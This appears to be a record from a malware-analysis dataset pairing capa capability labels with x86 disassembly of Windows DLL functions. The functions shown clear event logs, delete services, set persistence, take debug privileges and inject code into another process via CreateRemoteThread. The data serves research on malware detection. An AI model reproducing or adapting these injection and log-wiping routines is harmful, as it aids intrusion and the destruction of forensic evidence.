joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006170
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
mov dword [ebp - 8], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp + 8]
cmp dword [ebx + 4], 0xffffffff
jne 0x100061c0
call fcn.10006300
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0x80
push 3
push 0
push 1
add ecx, 0x20
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp edi, 0xffffffff
jne 0x1000620b
pop edi
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebx + 4]
push 0
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x2000
push 0x40
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [esi], 0x6a
mov ecx, dword [ebx]
mov dword [esi + 1], ecx
mov edx, dword [ebx + 4]
mov dword [esi + 5], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 4]
push 0
push eax
lea ecx, [esi + 9]
push 0x1ff7
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x100062cd
add eax, 9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 8]
push eax
push esi
call fcn.10008df0
mov edi, eax
jmp 0x100062d8
mov ecx, dword [ebp - 8]
call fcn.10006300
mov edi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10006b40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [eax + 4]
push 0
push 0x80
push 3
push 0
push 2
lea edx, [ebx + 0x20]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 8]
push 0
add edx, 0xfffffff8
push ecx
add eax, 8
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x14], 0x70
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add esi, edx
mov dword [ebp - 0x13], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ebp - 0x14]
push 9
push edx
mov ecx, ebx
mov dword [ebp - 0xf], esi
call fcn.10008df0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10006f70
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003020
push 0x10012568
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x13c], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp ebx, edi
jne 0x1000700d
cmp esi, edi
je 0x100070be
lea ecx, [ebp - 0x138]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x100070be
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp - 0x134], 1
je 0x1000705a
lea edx, [ebp - 0x138]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x100070be
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x53c]
rep stosd dword es:[edi], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
push eax
push 0x100014fc
push 0x100014d8
lea ecx, [ebp - 0x53c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x53c]
push edx
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0xffffffff
call fcn.100070e7
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007110
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x504]
push eax
push 0x100014fc
push 0x100014d8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ebp - 0x104]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x104]
push 0
push eax
push 1
lea ecx, [ebp - 0x504]
push 0x10001520
push ecx
push connect
call fcn.10008f10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 3
push 0
push 0
push 1
lea edx, [ebp - 0x504]
push 0x10001520
push edx
push connect
call fcn.10009460
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x3c
xor esi, esi
push 0x3e8
call edi
lea eax, [ebp - 0x104]
push eax
call ebx
test eax, eax
jne 0x1000720e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc esi
cmp esi, 0xf
jl 0x100071e5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007290
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
push 3
push 0
push 1
lea edx, [ebp - 0x108]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007310
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [ebp - 4]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xc]
push 0
push 0x400
push ecx
push edi
call fcn.10007220
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0xffffffff
jne 0x100073af
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
add eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100073c0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012ae0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x1f4
lea eax, [ebp - 0x218]
push 0x100014fc
push eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x218]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10007496
lea edx, [ebp - 0x1c]
push 0x10012d40
push edx
mov dword [ebp - 0x1c], 0x10013600
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x18], 0x120
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push 0x10001548
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x1000751d
lea edx, [ebp - 0x20]
push 0x10012d40
push edx
mov dword [ebp - 0x20], 0x10001530
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10007508
cmp byte [eax], 0
je 0x10007508
call dword [sym.imp.KERNEL32.dll_GetLastError]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0x1000751d
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007540
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012af0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x228
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x1f4
lea eax, [ebp - 0x234]
push 0x100014fc
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x234]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
je 0x10007631
lea edx, [ebp - 0x40]
push 0x10012d40
push edx
mov dword [ebp - 0x40], 0x10013600
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push ecx
push edx
push ebx
push 0x10001548
push eax
mov dword [ebp - 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov al, 0x65
mov dl, 0x75
mov cl, 0x79
cmp esi, ebx
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x37], al
mov byte [ebp - 0x36], 0x67
mov byte [ebp - 0x35], 0x51
mov byte [ebp - 0x34], dl
mov byte [ebp - 0x33], al
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], cl
mov byte [ebp - 0x30], 0x56
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], dl
mov byte [ebp - 0x2c], al
mov byte [ebp - 0x2b], 0x45
mov byte [ebp - 0x2a], 0x78
mov byte [ebp - 0x29], 0x28
mov byte [ebp - 0x28], 0x54
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], 0x29
mov byte [ebp - 0x23], bl
je 0x100076f8
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x38]
push 0x10012d40
push eax
mov dword [ebp - 0x3c], edx
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x10007707
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100079c0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x100079e2
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000c930
add esp, 8
test al, al
jne 0x100079f6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x10001554
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], 0x10001450
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x10007a50
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007b45
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push 0x10001560
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007b45
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10007b45
lea eax, [esp + 0x64]
push 0x10001464
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10007b45
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x10007b1f
mov dword [esp + 0x28], 0x10001450
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret
Function at 0x10007bb0
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov al, 0x70
mov cl, 0x69
mov byte [esp + 0x15], al
mov byte [esp + 0x16], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0xd], cl
mov al, 0x74
mov dl, 0x65
mov cl, 0x79
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov byte [esp + 0x23], al
mov bl, 0x53
mov byte [esp + 0x11], dl
mov byte [esp + 0x16], al
mov byte [esp + 0x17], cl
mov byte [esp + 9], cl
mov byte [esp + 0xb], al
mov byte [esp + 0xc], dl
push esi
lea eax, [esp + 0x20]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push edi
mov byte [esp + 0x18], bl
mov byte [esp + 0x10], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x29], 0x63
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x20], 0
mov byte [esp + 0x12], 0x73
mov byte [esp + 0x15], 0x6d
mov byte [esp + 0x16], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], edx
lea edi, [esp + 0x30]
mov ebx, 3
mov eax, dword [edi]
push eax
push 0
call ebp
mov esi, eax
test esi, esi
je 0x10007c85
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10007c68
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret

Function at 0x10007d10
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x100015bc
push 0x100015ac
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x100015a0
push 0x100015ac
mov ebx, eax
call esi
push eax
call edi
push 0
push 2
mov dword [esp + 0x18], eax
call ebx
mov esi, eax
lea eax, [esp + 0x14]
push eax
push esi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10007dc9
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
lea ecx, [esp + 0x38]
push ecx
call edi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
push eax
push ebx
call ebp
add esp, 0xc
test eax, eax
ja 0x10007daf
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10007dc4
lea eax, [esp + 0x38]
push eax
call edi
push eax
push ebx
call ebp
add esp, 0xc
test eax, eax
jbe 0x10007d8e
push esi
call dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x12c
ret
push esi
call dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x12c
ret
Function at 0x100080f0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10008111
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push 0x10001600
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10008138
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x10008185
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0x1c
ret
Function at 0x10008260
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
call fcn.100080f0
mov eax, dword [esp + 0x10c]
push eax
call fcn.1000c5b0
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x100082a2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push 0x10001440
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x100016a0
push edi
call esi
push 0x10001690
push edi
mov dword [esp + 0x1c], eax
call esi
push 0x1000167c
push edi
mov dword [esp + 0x20], eax
call esi
push 0x1000166c
push edi
mov dword [esp + 0x24], eax
call esi
push 0x1000165c
push edi
mov dword [esp + 0x28], eax
call esi
push 0x1000164c
push edi
mov dword [esp + 0x2c], eax
call esi
push 0x10001638
push edi
mov dword [esp + 0x30], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov dword [esp + 0x30], eax
call ebp
push 0x1000162c
call ebx
mov edi, eax
push 0x1000161c
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call ebp
push 0x100013d4
call ebx
mov edi, eax
push 0x10001614
push edi
call esi
push 0x100015a0
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call ebp
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push 0x100014fc
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf4
push 0
mov esi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x100083c2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push edi
push esi
call ebp
test eax, eax
jne 0x100083e9
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x1000840d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x100081a0
push ebx
push esi
call ebp
test eax, eax
jne 0x1000842e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret